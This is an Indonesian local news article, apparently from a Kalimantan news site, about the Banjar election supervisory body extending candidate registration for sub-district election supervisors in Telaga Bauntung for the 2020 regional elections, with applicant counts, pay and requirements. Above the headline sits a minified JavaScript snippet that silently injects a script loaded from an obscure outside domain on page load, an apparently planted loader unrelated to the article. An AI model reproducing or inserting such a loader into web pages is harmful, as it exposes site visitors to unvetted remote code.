(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

272 Orang Daftar Panwascam di Pilkada Banjar, Pendaftaran di Telaga Bauntung Diperpanjang!


MARTAPURA, Badan Pengawas Pemilihan Umum (Bawaslu) Kabupaten Banjar memperpanjang masa  pendaftaran Calon Anggota Panitia Pengawas Pemilihan Kecamatan (Panwascam), khusus untuk Kecamatan Telaga Bauntung pada Pilkada 2020 nanti. Hal ini lantaran belum terpenuhinya kuota di lokasi tersebut.

Ketua Bawaslu Kabupaten Banjar Fajeri Tamzidillahmengatakan, perpanjangan masa pendaftaran hingga 10 Desember ini dilakukan karena jumlah calon Panwascamuntuk Beruntung Baru belum memenuhi jumlah minimal yang seharusnya.

“Satu kecamatan minimal kita memerlukan 6 orang panitia pengawas pemilihan, itu udah termasuk 3 orang Panwascam dan 3 orang PAW di dalamnya. Sementara hingga saat ini khusus di Kecamatan Telaga Beruntung baru 2 pelamar saja,” katanya.

Fajri mengatakan, hingga sekarang sudah total ada 272 pendaftar calon panitia pengawas pemilihan di 20 Kecamatan yang ada di Kabupaten Banjar. Pendaftar terbanyak berada di Kecamatan Martapura Kota sebanyak 54 orang. Adapun Panwascam akan dikontrak selama 10 bulan dengan honor Rp 1,4 juta setiap bulannya.

Apabila tidak ada aral, pihak Bawaslu Banjar dalam waktu dekat akan melaksanakan jemput bola kembali mengsosialisasikan perpanjangan pendaftaran khusus untuk Kecamatan Telaga Bauntung secara maksimal. Sehingga diharapkan bisa terpenuhi diwaktu perpanjangan sampai 8 orang pendaftar.

“Kita mewacanakan kembali untuk sosialisasi perpanjangan, paling tidak di masa perpanjangan ini nantinya ada 8 orang pendaftar,” ujar Fajri.

Adapun syarat yang harus terpenuhi diantaranya rberusia Minimal 25 Tahun,berpendidikan paling rendah SLTA atau sederajat, berdomisili di wilayah Kab. Banjar, dan untuk informasi lebih lanjut calon pelamar silahkan datang ke Kantor Bawaslu kabupaten Banjar di Jalan A. Yani Km. 39 Jl. Taisir berdekatan Rumah Sakit Ibu dan Anak Mutiara Bunda atau menghubungi Nomor HP/WA 0813 5110 5413 serta bisa juga mengakses di website resmi Bawaslu Kabupaten Banjar di www.banjarkab.bawaslu.go.id. “Mari bergabung Bersama kami untuk mensukseskan pilkada 2020 sehingga terpilih pemimpin yang terbaik bagi kita semua,” katanya.

Sebelumnya Bawaslu Banjar  melaksanakan salah satu tahapan kerjanya dalam menghadapi Pilkada Serentak Tahun 2020 yaitu penerimaan panitia pengawas pemilihan tingkat kecamatan. Tahapan pendaftaran calon panitia pengawas pemilihan tingkat kecamatan ini akan dilaksanakan dengan rentang waktu 7 (tujuh) hari. Dari tanggal 27 November sampai dengan tanggal 3 Desember 2019. (Rendy)

Reporter : Rendy
Editor : Chell

 


Desy Arfianty

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

7 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

10 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

11 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

14 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

16 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

18 jam ago